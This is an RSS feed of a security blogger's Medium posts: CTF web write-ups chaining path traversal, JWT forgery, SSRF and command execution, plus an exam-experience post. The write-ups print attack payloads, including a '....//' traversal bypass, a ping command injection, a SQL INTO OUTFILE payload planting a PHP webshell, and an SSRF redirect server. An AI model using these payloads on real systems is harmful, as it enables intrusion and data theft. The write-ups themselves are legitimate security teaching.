<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by L3benn on Medium]]></title>
        <description><![CDATA[Stories by L3benn on Medium]]></description>
        <link>https://medium.com/@chiheb.mahfoudh_11384?source=rss-731aba890251------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*agqK9IEL5AolPX6z</url>
            <title>Stories by L3benn on Medium</title>
            <link>https://medium.com/@chiheb.mahfoudh_11384?source=rss-731aba890251------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 07:11:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@chiheb.mahfoudh_11384/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Continue Y/N Cyber Maze challenge V25 write up]]></title>
            <link>https://medium.com/@chiheb.mahfoudh_11384/continue-y-n-cyber-maze-challenge-v25-write-up-38051e614f19?source=rss-731aba890251------2</link>
            <guid isPermaLink="false">https://medium.com/p/38051e614f19</guid>
            <dc:creator><![CDATA[L3benn]]></dc:creator>
            <pubDate>Tue, 02 Dec 2025 13:45:23 GMT</pubDate>
            <atom:updated>2025-12-02T13:45:23.214Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction</strong></p><p>I’m pleased to present my complete walkthrough for the <em>Continue Y/N</em> web challenge — a sophisticated multi-step security task demonstrating a realistic attack chain. This challenge sequentially combines Local File Read (LFR), JWT forgery for administrative privilege escalation, Server-Side Request Forgery (SSRF), and SQL query execution to ultimately retrieve the flag. Below is the detailed methodology and technical analysis of each exploitation phase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s0wzOkaYFLeN3aQvxD7_kA.png" /></figure><p>Upon opening the web app we find a simple login/register page <br>we create our account with random creds and login we find this page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RCCZfevKdHDHkJt-RC_6Hg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*kQjXg95DygFC-AHE0rwr9A.png" /></figure><p>we discover that we can upload files and re download it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5cNkBgXMgXXmcqlsGalSDA.png" /></figure><p>we try to intercept the download functionality via burpsuite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9uKmlmdKDjU-aWUKf4j4gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OUVBKQA5t-mQtszH5vlarQ.png" /></figure><p>we get this request. we try to change in the resume for example flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rG4vdlKXjOpK1fO15KOAyw.png" /></figure><p>we get no such file or directory so we try another non existent file to give us an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*odokagxn7eNttk45wr1MqQ.png" /></figure><p>we got as results routers/main.js which can lead us to some leak information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7jIknNDvn_GVGg81_IaSwA.png" /></figure><p>The application’s security filter employed a naive string removal approach that stripped all instances of ../ from user input. This created a bypass opportunity using the payload ....//, where the initial ../ substring would be removed, leaving behind a residual ../ that successfully executed directory traversal. This vulnerability highlights the critical distinction between simple string filtering and proper path normalization in secure file handling implementations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v7as8BEWkzoxisbQ_X4Izg.png" /></figure><p>we succefully get the output of main.js</p><pre>import path from &#39;path&#39;;<br>import * as fs from &#39;fs&#39;;<br>import axios from &#39;axios&#39;;<br>import { Router } from &#39;express&#39;;<br>import { sign } from &#39;../helpers/JWTHelper.js&#39;;<br>import { AuthMiddleware } from &#39;../middleware/AuthMiddleware.js&#39;;<br>import { AdminMiddleware } from &#39;../middleware/AdminMiddleware.js&#39;;<br>import { LocalMiddleware } from &#39;../middleware/LocalMiddleware.js&#39;;<br>import crypto from &#39;crypto&#39;;<br>import { SQL_ACCESS_KEY } from &#39;../config.js&#39;;<br><br>let db;<br>const router = Router();<br><br>router.get(&#39;/&#39;, (req, res) =&gt; {<br>    return res.render(&#39;index.ejs&#39;, { error: null, success: null });<br>});<br><br>router.get(&#39;/register&#39;, (req, res) =&gt; {<br>    return res.render(&#39;register.ejs&#39;, { error: null, success: null });<br>});<br><br>router.get(&#39;/login&#39;, (req, res) =&gt; {<br>    return res.render(&#39;login.ejs&#39;, { error: null, success: null });<br>});<br><br>router.post(&#39;/api/register&#39;, async (req, res) =&gt; {<br>    const { username, password } = req.body;<br><br>    if (username &amp;&amp; password) {<br>        return db.getUser(username)<br>            .then(user =&gt; {<br>                if (user) return res.render(&#39;register.ejs&#39;, { error: &#39;Username already taken&#39;, success: null });<br>                return db.registerUser(username, password)<br>                    .then(() =&gt; res.render(&#39;login.ejs&#39;, { error: null, success: &#39;Registration successful&#39; }))<br>            })<br>            .catch(() =&gt; res.render(&#39;register.ejs&#39;, { error: &#39;Registration failed&#39;, success: null }));<br>    }<br>    return res.render(&#39;register.ejs&#39;, { error: &#39;All fields are required&#39;, success: null });<br>});<br><br>router.post(&#39;/api/login&#39;, async (req, res) =&gt; {<br>    const { username, password } = req.body;<br><br>    if (username &amp;&amp; password) {<br>        return db.loginUser(username, password)<br>            .then(user =&gt; {<br>                let token = sign({ username: user.username });<br>                res.cookie(&#39;session&#39;, token, { maxAge: 3600000 });<br><br>                if (user.username === &#39;admin&#39;) {<br>                    return res.redirect(&#39;/admin&#39;);<br>                } else {<br>                    return res.redirect(&#39;/dashboard&#39;);<br>                }<br>            })<br>            .catch(() =&gt; res.render(&#39;login.ejs&#39;, { error: &#39;Invalid credentials&#39;, success: null }));<br>    }<br>    return res.render(&#39;login.ejs&#39;, { error: &#39;All fields are required&#39;, success: null });<br>});<br><br>router.get(&#39;/dashboard&#39;, AuthMiddleware, async (req, res) =&gt; {<br>    if (req.user.username === &#39;admin&#39;) return res.redirect(&#39;/admin&#39;);<br><br>    return db.getUser(req.user.username)<br>        .then(user =&gt; {<br>            if (!user) return res.redirect(&#39;/login&#39;);<br><br>            return db.getFormData(user.username)<br>                .then(enrollment =&gt; {<br>                    const hasUploadedFile = enrollment &amp;&amp; enrollment.resume_file;<br>                    res.render(&#39;dashboard.ejs&#39;, {<br>                        user,<br>                        enrollment,<br>                        error: null,<br>                        success: null,<br>                        showDownload: hasUploadedFile,<br>                        fileHash: hasUploadedFile ? enrollment.resume_file.replace(&#39;.dat&#39;, &#39;&#39;) : null<br>                    });<br>                });<br>        })<br>        .catch(() =&gt; {<br>            return res.redirect(&#39;/login&#39;);<br>        })<br>});<br><br>router.post(&#39;/api/upload&#39;, AuthMiddleware, async (req, res) =&gt; {<br>    return db.getUser(req.user.username)<br>        .then(async user =&gt; {<br>            if (!user) return res.redirect(&#39;/login&#39;);<br><br>            if (!req.files || !req.files.resumeFile) {<br>                const enrollment = await db.getFormData(user.username);<br>                const hasUploadedFile = enrollment &amp;&amp; enrollment.resume_file;<br>                return res.render(&#39;dashboard.ejs&#39;, {<br>                    user,<br>                    enrollment,<br>                    error: &#39;Please select a file&#39;,<br>                    success: null,<br>                    showDownload: hasUploadedFile,<br>                    fileHash: hasUploadedFile ? enrollment.resume_file.replace(&#39;.dat&#39;, &#39;&#39;) : null<br>                });<br>            }<br><br>            let enrollment = await db.getFormData(user.username);<br>            let resumeFile = req.files.resumeFile;<br><br>            const fileHash = crypto.createHash(&#39;md5&#39;).update(resumeFile.data).digest(&#39;hex&#39;);<br>            const uploadFile = `${fileHash}.dat`;<br><br>            const uploadDir = path.join(process.cwd(), &#39;uploads&#39;);<br>            if (!fs.existsSync(uploadDir)) {<br>                fs.mkdirSync(uploadDir, { recursive: true });<br>            }<br><br>            await resumeFile.mv(path.join(uploadDir, uploadFile));<br><br>            if (enrollment.resume_file &amp;&amp; enrollment.resume_file !== uploadFile) {<br>                try {<br>                    fs.unlinkSync(path.join(uploadDir, enrollment.resume_file));<br>                }<br>                catch (e) { console.log(e) }<br>            }<br><br>            return db.setResume(uploadFile, user.username)<br>                .then(async () =&gt; {<br>                    const updatedEnrollment = await db.getFormData(user.username);<br>                    res.render(&#39;dashboard.ejs&#39;, {<br>                        user,<br>                        enrollment: updatedEnrollment,<br>                        error: null,<br>                        success: &#39;bieennn!! File uploaded successfully&#39;,<br>                        showDownload: true,<br>                        fileHash: fileHash<br>                    });<br>                })<br>                .catch(() =&gt; {<br>                    const hasUploadedFile = enrollment &amp;&amp; enrollment.resume_file;<br>                    res.render(&#39;dashboard.ejs&#39;, {<br>                        user,<br>                        enrollment,<br>                        error: &#39;offff Upload failed&#39;,<br>                        success: null,<br>                        showDownload: hasUploadedFile,<br>                        fileHash: hasUploadedFile ? enrollment.resume_file.replace(&#39;.dat&#39;, &#39;&#39;) : null<br>                    });<br>                });<br>        })<br>        .catch(e =&gt; {<br>            console.error(&#39;Upload error:&#39;, e);<br>            return res.redirect(&#39;/login&#39;);<br>        })<br>});<br><br>router.get(&#39;/download&#39;, AuthMiddleware, async (req, res) =&gt; {<br>    return db.getUser(req.user.username)<br>        .then(user =&gt; {<br>            if (!user) return res.redirect(&#39;/login&#39;);<br><br>            let { resume } = req.query;<br><br>            if (!resume) {<br>                return res.status(400).send(&#39;File parameter required&#39;);<br>            }<br><br>            resume = resume.replaceAll(&#39;../&#39;, &#39;&#39;);<br><br>            const filePath = path.join(&#39;/app/uploads&#39;, resume);<br><br>            return res.download(filePath);<br>        })<br>        .catch(e =&gt; {<br>            return res.status(500).send(&#39;Download error&#39;);<br>        })<br>});<br><br>router.get(&#39;/admin&#39;, AdminMiddleware, async (req, res) =&gt; {<br>    return res.render(&#39;admin.ejs&#39;, { user: req.user, error: null, success: null });<br>});<br><br>router.post(&#39;/api/admin/request&#39;, AdminMiddleware, async (req, res) =&gt; {<br>    const { url, method = &#39;GET&#39; } = req.body;<br><br>    if (!url) {<br>        return res.render(&#39;admin.ejs&#39;, {<br>            user: req.user,<br>            error: &#39;URL is required&#39;,<br>            success: null<br>        });<br>    }<br><br>    try {<br>        const response = await axios({<br>            method: method.toLowerCase(),<br>            url: url,<br>            timeout: 5000,<br>            validateStatus: null<br>        });<br><br>        res.json({<br>            status: response.status,<br>            data: response.data,<br>            headers: response.headers<br>        });<br>    } catch (error) {<br>        res.status(500).json({<br>            error: error.message<br>        });<br>    }<br>});<br><br>router.get(&#39;/sms-settings&#39;, AdminMiddleware, async (req, res) =&gt; {<br>    return res.render(&#39;sms-settings.ejs&#39;, { <br>        user: req.user, <br>        error: null, <br>        success: null <br>    });<br>});<br><br>router.get(&#39;/sql-prompt&#39;, AdminMiddleware, async (req, res) =&gt; {<br>    return res.render(&#39;sql-prompt.ejs&#39;, { user: req.user, error: null, success: null });<br>});<br><br>router.post(&#39;/api/sql/exec&#39;, LocalMiddleware, AdminMiddleware, async (req, res) =&gt; {<br>    const { sql, password } = req.body || {};<br><br>    const debug_pass = SQL_ACCESS_KEY;<br>    <br>    let cleanPassword = typeof password === &#39;string&#39; ? password.trim() : password;<br><br>    if (!req.body) {<br>        return res.status(400).json({ <br>            error: &#39;Request body is required.&#39;<br>        });<br>    }<br>    <br>    if (!sql || typeof sql !== &#39;string&#39; || sql.trim().length === 0) {<br>        return res.status(400).json({ <br>            error: &#39;A valid SQL query string is required.&#39;<br>        });<br>    }<br><br>    if (!password) {<br>        return res.status(400).json({ <br>            error: &#39;Password is required to execute SQL queries.&#39; <br>        });<br>    }<br><br>    if (cleanPassword !== debug_pass) {<br>        return res.status(401).json({ <br>            error: &#39;Invalid password for query execution.&#39;,<br>            hint: &#39;Check the application for the debug password&#39;<br>        });<br>    }<br><br>    try {<br>        const results = await db.execQuery(sql, password); <br>        res.json({ <br>            success: true,<br>            sql: sql,<br>            results: results <br>        });<br>    } catch (error) {<br>        res.status(500).json({ <br>            success: false,<br>            error: error.message <br>        });<br>    }<br>});<br><br>router.post(&#39;/api/sms/test&#39;, AdminMiddleware, async (req, res) =&gt; {<br>    const { verb, url, params, headers, resp_ok, resp_bad } = req.body;<br><br>    if (!(verb &amp;&amp; url &amp;&amp; params &amp;&amp; headers &amp;&amp; resp_ok &amp;&amp; resp_bad)) {<br>        return res.json({ status: &#39;fail&#39;, result: &#39;All fields are required&#39; });<br>    }<br><br>    let parsedHeaders = {};<br>    try {<br>        let headersArray = headers.split(&#39;\n&#39;);<br>        for (let header of headersArray) {<br>            if (header.includes(&#39;:&#39;)) {<br>                let hkey = header.split(&#39;:&#39;)[0].trim();<br>                let hval = header.split(&#39;:&#39;)[1].trim();<br>                parsedHeaders[hkey] = hval;<br>            }<br>        }<br>    } catch (e) {<br>        console.error(&#39;Header parsing error:&#39;, e);<br>    }<br><br>    let options = {<br>        method: verb.toLowerCase(),<br>        url: url,<br>        timeout: 5000,<br>        headers: parsedHeaders<br>    };<br><br>    if (verb.toLowerCase() === &#39;post&#39;) {<br>        if (url.includes(&#39;/api/sql/exec&#39;)) {<br>            try {<br>                let parsedParams = typeof params === &#39;string&#39; ? JSON.parse(params) : params;<br><br><br>                let extractedPassword = parsedParams.password;<br>                if (typeof extractedPassword === &#39;string&#39;) {<br>                    extractedPassword = extractedPassword.trim();<br>                }<br><br>                options.data = {<br>                    sql: parsedParams.sql || parsedParams,<br>                    password: extractedPassword<br>                };<br>            } catch (e) {<br>                options.data = {<br>                    sql: params,<br>                };<br>            }<br>        } else {<br>            try {<br>                options.data = JSON.parse(params);<br>            } catch (e) {<br>                options.data = params;<br>            }<br>        }<br>    }<br>    try {<br>        const response = await axios(options);<br><br>        let responseData = response.data;<br>        if (typeof responseData === &#39;object&#39;) {<br>            responseData = JSON.stringify(responseData, null, 2);<br>        }<br><br>        return res.json({<br>            status: &#39;success&#39;,<br>            result: responseData<br>        });<br>    } catch (error) {<br>        if (error.response) {<br>            let errorData = error.response.data;<br>            if (typeof errorData === &#39;object&#39;) {<br>                errorData = JSON.stringify(errorData, null, 2);<br>            }<br>            return res.json({<br>                status: &#39;fail&#39;,<br>                result: errorData || error.message<br>            });<br>        } else {<br>            return res.json({<br>                status: &#39;fail&#39;,<br>                result: &#39;Connection failed: &#39; + error.message<br>            });<br>        }<br>    }<br>});<br><br>router.get(&#39;/logout&#39;, (req, res) =&gt; {<br>    res.clearCookie(&#39;session&#39;);<br>    return res.redirect(&#39;/&#39;);<br>});<br><br>export default database =&gt; {<br>    db = database;<br>    return router;<br>};</pre><p>after reading the source code we find another file that looks intersting helpers/JWTHelper.js</p><pre>import jwt from &#39;jsonwebtoken&#39;;<br><br>const JWT_SECRET = &#39;C3n7uRY0uN20********&#39;; <br><br>const sign = (payload) =&gt; {<br>    return jwt.sign(payload, JWT_SECRET, { expiresIn: &#39;24h&#39; });<br>};<br><br>const verify = (token) =&gt; {<br>    try {<br>        return jwt.verify(token, JWT_SECRET);<br>    } catch (error) {<br>        throw new Error(&#39;Invalid token&#39;);<br>    }<br>};<br><br>export { sign, verify, JWT_SECRET };</pre><p>we see a JWT_secret we copy that value and put it inside <a href="https://jwtauditor.com/">JWTauditor</a> site and forge our new token with admin username and our secret key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQggY6m7TsnUBQjnHcPMVw.png" /></figure><p>we copy our new jwt and put it inside session cookie value and voila we are admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6YLBraxw7flMaB8PALFBBQ.png" /></figure><p>now that we are admin we can go to /admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L90ATpF9dJdV-vk_c2QHLQ.png" /></figure><p>we find SQL terminal and sms config <br>we go to sql terminal we find we can run simple sql queris but we need to be localhost</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nIGh-Sy5eCI0ySwpdzEk3w.png" /></figure><p>so we go to SMS config tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DvUYMBZ4T4vIB3FCoUpYeQ.png" /></figure><p>so we intercept this test connection request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*qbrPHeHYfKT3rkpnAwaQgA.png" /></figure><p>we test for ssrf so we run a netcat listener and put our ip with the specefic port ono the url and we successfully get a response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-to3zx5bXxHHePrh62Eq9Q.png" /></figure><p>now that we confirmed xss we need to find on which the app is running <br>going back to main.js we find this file</p><pre>import { LocalMiddleware } from &#39;../middleware/LocalMiddleware.js&#39;;</pre><pre><br>const LocalMiddleware = (req, res, next) =&gt; {<br><br>    const remoteIp = req.ip || req.connection.remoteAddress;<br>    const hostHeader = req.headers?.host; <br><br>    if (remoteIp !== &#39;127.0.0.1&#39; &amp;&amp; hostHeader !== &#39;127.0.0.1:4002&#39;)<br>    {<br>        return res.status(403).json({ error: &#39;Localhost access required&#39; });<br>    }<br><br>    next();<br>};<br><br>export { LocalMiddleware };</pre><p>we replace the url by 127.0.0.1:4002<br>and we get a good response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gkUKbQi0Cb3XSmtsZF996Q.png" /></figure><p>again in main.js we find an intresting api called /api/sql/exec which needs both localmiddleware and adminmiddleware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IsfcPCWy2VeoEBNifm7LKQ.png" /></figure><p>we try to do post request into that api we get access denied so we add our admin session token to the headers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Bn_r2YatIkYzKxuPqkheQ.png" /></figure><p>so we need booth sql queris and a password we start by looking for the password <br>in main.js file there a file called config.js which have the password we looking for.</p><pre>import { SQL_ACCESS_KEY } from &#39;../config.js&#39;;</pre><pre>export const SQL_ACCESS_KEY = &quot;d7aXhuL4ZKKwyuES7UNutrEq&quot;;</pre><p>now we need to run sql queris in a json format with password defined</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ofPLMtLHuyYSOEOTzP9z1w.png" /></figure><p>we successfully get results now we need to find the flag<br>by reading database.js file we find this function</p><pre>execQuery(query) {<br>        return new Promise((resolve, reject) =&gt; {<br>            const commandMatch = query.match(/SELECT\s+\*\s+FROM\s+`([^`]+)`/i);<br><br>            if (commandMatch) {<br>                const command = commandMatch[1];<br>                const allowedCommands = [&#39;whoami&#39;, &#39;readflag&#39;, &#39;ls&#39;, &#39;pwd&#39;, &#39;id&#39;];<br><br>                if (allowedCommands.includes(command)) {<br>                    exec(command, (error, stdout, stderr) =&gt; {<br>                        if (error) {<br>                            reject(new Error(stderr || error.message));<br>                        } else {<br>                            resolve([{ output: stdout.trim() }]);<br>                        }<br>                    });<br>                    return;<br>                } else {<br>                    reject(new Error(`Command &#39;${command}&#39; not allowed`));<br>                    return;<br>                }<br>            }<br><br>            this.db.all(query, (err, rows) =&gt; {<br>                if (err) reject(err);<br>                else resolve(rows);<br>            });<br>        });<br>    }</pre><p>we see we can run commands on the sql queri with whitlist commands</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JuZ9vtMEoFKcRYFeqQLymA.png" /></figure><p>now we just read the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-MW6I9Hfw4o0qFgbxftiQ.png" /></figure><p>CM{example_flag} (this is fake btw)<br><strong>Conclusion</strong></p><p>This challenge shows how small security mistakes can be chained together to hack a whole system. Starting from just uploading files, we could read internal files, become an admin, access internal services, and finally run commands to get the flag. It teaches us that every part of an app needs protection bad filters, exposed passwords, and loose access rules can all be exploited step by step. Always validate user input, hide secrets, and check permissions carefully.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38051e614f19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Conquered the HTB CWES Exam in 3 Weeks (Right After My CRTP)]]></title>
            <link>https://medium.com/@chiheb.mahfoudh_11384/how-i-conquered-the-htb-cwes-exam-in-3-weeks-right-after-my-crtp-e4368c77a8ce?source=rss-731aba890251------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4368c77a8ce</guid>
            <dc:creator><![CDATA[L3benn]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 07:59:48 GMT</pubDate>
            <atom:updated>2025-09-12T08:12:14.318Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*l7dd76wFMZixeRtZz9DOGQ.png" /></figure><p>(Originally written on September 12th, 2025)</p><p>First of all, I&#39;m proud to say that I&#39;m one of 1662 users who earned CWES certification (also knows as CBBH before) from HTB</p><h3>From Active Directory to Bug Bounties: My 3-Week CWES Grind</h3><h3>The “Wait, I can do this?” Decision</h3><p>So I just got my CRTP cert and was itching for what’s next. I’d been living in the world of Active Directory for a while and wanted to switch it up. Web stuff? Bug bounties? That sounded awesome.</p><p>That’s when I saw Hack The Box’s CWES certification. Perfect fit. But then I had a crazy idea: could I do it in just three weeks?</p><p>Turns out, I kinda could. I had a secret weapon I’d already half-finished the Bug Bounty Hunter path on HTB a while back. I was already 50% there! So I decided to just go for it. I paid the $218 for the path and exam (yep, it’s an investment) and locked in.</p><h3>My Prep: Basically, Just Trusting the Process</h3><p>My game plan was simple: finish the BBH path. That’s it. The cool thing is, the same people who made the path made the exam, so you know you’re learning the right stuff.</p><p>My real advice for anyone trying this:</p><ol><li>Actually Learn the Modules: Don’t just rush through to get the checkmark. I made sure I got the <em>concept</em>, not just the steps.</li><li>Take Your Own Notes: HTB’s cheat sheets are cool, but seriously, write your own stuff down. It sticks in your brain way better.</li><li>Re do the Skill Assessments: These are like exam practice. They teach you the exact mindset you need.</li></ol><h3>The Exam: A Total Emotional Rollercoaster</h3><p>The exam has two parts: hacking for flags, and then writing a report. The hacking part has 10 flags, and you need 8 to pass.</p><p>The First 24 Hours: Pure Panic<br>I logged in and immediately hit a wall. Nothing. For a full day, I got zero flags. I was so frustrated. I was already thinking about how I’d explain failing my first attempt. Not a great headspace.</p><p>The Turnaround:<br>On day two, I forced myself to chill out and look at things differently. And then… BAM! First flag. Literally 20 minutes later, I got another one. It was like a switch flipped. Once I got the vibe, I just kept going.</p><p>The Big Realization:<br>The key is to think outside the box. If something isn’t working, your first idea is probably wrong. You gotta get creative. I tried some random, dumb stuff, but that’s part of it! It’s not about being a brute-force hacker; it’s about being a smart, adaptable one.</p><h3>The Final Stretch: I’m So Tired</h3><p>I ended up getting 9 flags! That gave me an 85/100, which was more than enough to pass the practical part. I was so burned out after four straight days of grinding that I didn’t even bother with the last flag. I was just… done.</p><p>Then came the report. A lot of people use fancy tools like SysReptor, but I just used Microsoft Word because it’s what I know. The tool doesn’t matter just clearly explaining what you found is what counts.</p><h3>The Win!</h3><p>I submitted my report and the next day I got the email… I PASSED! I was officially a Certified Web Exploitation Specialist!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bG_KNttIcemIdHAM9zih8Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*gtOP1cWlHGfcXaX4K5DMbg.png" /></figure><p>The feeling was amazing. Going from AD to web exploitation in a few weeks felt incredible. It proves that if you focus, use the right resources, and don’t give up when it gets frustrating, you can totally do it.</p><p>So if you’re going for the CWES:</p><ul><li>Trust the BBH path. It literally teaches you what you need.</li><li>Write your own notes.</li><li>Don’t quit when you’re frustrated. The breakthrough is coming.</li><li>Get weird with it. If your first idea fails, try something else.</li></ul><p>Good luck! You got this.<br>Big thanks to everyone who supported me and believed in me.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e4368c77a8ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SheSecured CTF web writeups ]]></title>
            <link>https://medium.com/@chiheb.mahfoudh_11384/shesecured-ctf-web-writeups-0fc7252dc566?source=rss-731aba890251------2</link>
            <guid isPermaLink="false">https://medium.com/p/0fc7252dc566</guid>
            <dc:creator><![CDATA[L3benn]]></dc:creator>
            <pubDate>Sun, 06 Jul 2025 14:39:44 GMT</pubDate>
            <atom:updated>2025-07-06T14:39:44.542Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B37A1WQyaWNFLsPu5ZpDzw.png" /></figure><blockquote>we start by Injection challenge</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*y0_dmko1KyBx0t86_PMpAg.png" /></figure><p>By opening the web page we find a simple ping utility for ip addresses<br>so it’s basically command injection vulnerability but it’s filtered <br>the payload is:</p><p>127.0.0.1 &amp;&amp; cat flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*cjC-Hxu0lYf0J_MdvRsZ9g.png" /></figure><p>flag: Spark{Injection_filBlayssELKOLL}</p><blockquote>now fama mino? challenge</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*07xsTfo1zz4E_wc_Mp4oOw.png" /></figure><p>This web challenge is vulnerable to <strong>both SQL Injection (SQLi)</strong> and <strong>Local File Inclusion (LFI)</strong>.</p><p>Upon accessing the application, we’re presented with login and registration functionality. After registering and logging in, we’re redirected with a URL parameter like:</p><pre>/?page=login.php</pre><p>This suggests the application is including files based on user input. We test for LFI by modifying the parameter:</p><pre>/?page=/etc/passwd</pre><p>This confirms the LFI vulnerability, as the contents of /etc/passwd are displayed.</p><p>but when checking the url we find /?page=login.php <br>so we try /?page=/etc/passwd <br>we get something (:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVSmh8MuA5-p6MB8FpbyhA.png" /></figure><p>by reading the /etc/passwd</p><p>We discovered a MySQL server, so we tested a basic SQL injection in the login form and received a MySQL error, confirming that the application is vulnerable to <strong>SQL injection</strong> in addition to <strong>LFI</strong>. However, this alone wasn’t enough to retrieve the flag. We then attempted to use PHP filters, such as php://filter/convert.base64-encode, and successfully received a base64-encoded response—indicating that the backend is built with <strong>PHP</strong>. With all this information, we crafted a malicious SQL payload to write a PHP file to the /tmp directory using the INTO OUTFILE technique. Finally, we used LFI to include and execute the malicious file, allowing us to read the flag.</p><pre>random&#39; UNIOSN SELECT 1,&quot;&lt;?php system(\&quot;ls\&quot;); ?&gt;&quot;,3,4  INTO OUTFILE &quot;/tmp/bbb.txt&quot; - -</pre><p>and by that we find the flag name and we can simply read it</p><p>Flag: Spark{dimaa_famma_minooooooooo!!!}</p><blockquote>Finally Access Denied Challenge:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*HagNs3YaUwIr8dfoqfI0og.png" /></figure><p>We are presented with a simple web page that allows the user to submit a URL — this immediately suggests a potential <strong>Server-Side Request Forgery (SSRF)</strong> vulnerability. Upon reviewing the app.py source code, we confirm this suspicion. The server fetches the user-supplied URL using Python’s requests module without properly validating the destination, aside from basic checks. This allows us to craft a malicious request that forces the server to interact with internal services.</p><pre>def is_safe_https://medium.com/url(url):<br>    if not url.startswith(&quot;http://&quot;) or not url.endswith(&quot;.png&quot;):<br>        return False<br>    hostname = urlparse(url).hostname<br>    if hostname.startswith(&quot;127.&quot;) or &quot;localhost&quot; in hostname or hostname == &quot;0.0.0.0&quot;:<br>        return False<br>    return True</pre><p>This filter <strong>only blocks direct references</strong> to 127.*, localhost, and 0.0.0.0, and only allows URLs that starts with http and end with .png</p><p>so we can build our own server that host a png file with a hhtp request using this attacker.py file</p><pre>from flask import Flask, send_file, redirect<br><br>app = Flask(__name__)<br>counter = 0<br><br>@app.route(&#39;/test.png&#39;)<br>def rebinder():<br>    global counter<br>    counter += 1<br>    print(f&quot;Request #{counter}&quot;)<br>    if counter == 2:<br>        # Redirect to local endpoint of the vulnerable app<br>        return redirect(&#39;http://127.0.0.1:4020/internal&#39;)<br>    return send_file(&#39;test.png&#39;, mimetype=&#39;image/png&#39;)<br><br>app.run(host=&#39;0.0.0.0&#39;, port=9999)</pre><p>We create a simple PNG file named test.png and host it publicly using a local HTTP server on port 9999. To expose it over the internet, we use Ngrok with the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNy9OlSL_sPeABfzg222Zg.png" /></figure><p>and in the same time we need to host it publicy using ngrok using this command</p><pre>ngrok http 9999 --scheme=http</pre><p>This gives us a public HTTP URL, such as:</p><pre>http://1234.ngrok-free.app/test.png</pre><p>We then place this URL in the url field of the vulnerable web application. When the server fetches and embeds the image, we inspect the page using browser developer tools. In the HTML source, we find the image data base64-encoded—revealing the contents of the fetched file.</p><p>By embedding the flag inside the PNG file or redirecting from it to an internal endpoint, we successfully extract the flag:<br>flag: Spark{SSrf_IS_n0_J0k33!1}</p><p>All love ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0fc7252dc566" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ramadan’s Spark Ctf2025 web writeups]]></title>
            <link>https://medium.com/@chiheb.mahfoudh_11384/ramadans-spark-ctf2025-web-writeups-714aa05dbb21?source=rss-731aba890251------2</link>
            <guid isPermaLink="false">https://medium.com/p/714aa05dbb21</guid>
            <dc:creator><![CDATA[L3benn]]></dc:creator>
            <pubDate>Sat, 29 Mar 2025 20:49:08 GMT</pubDate>
            <atom:updated>2025-04-03T22:49:32.224Z</atom:updated>
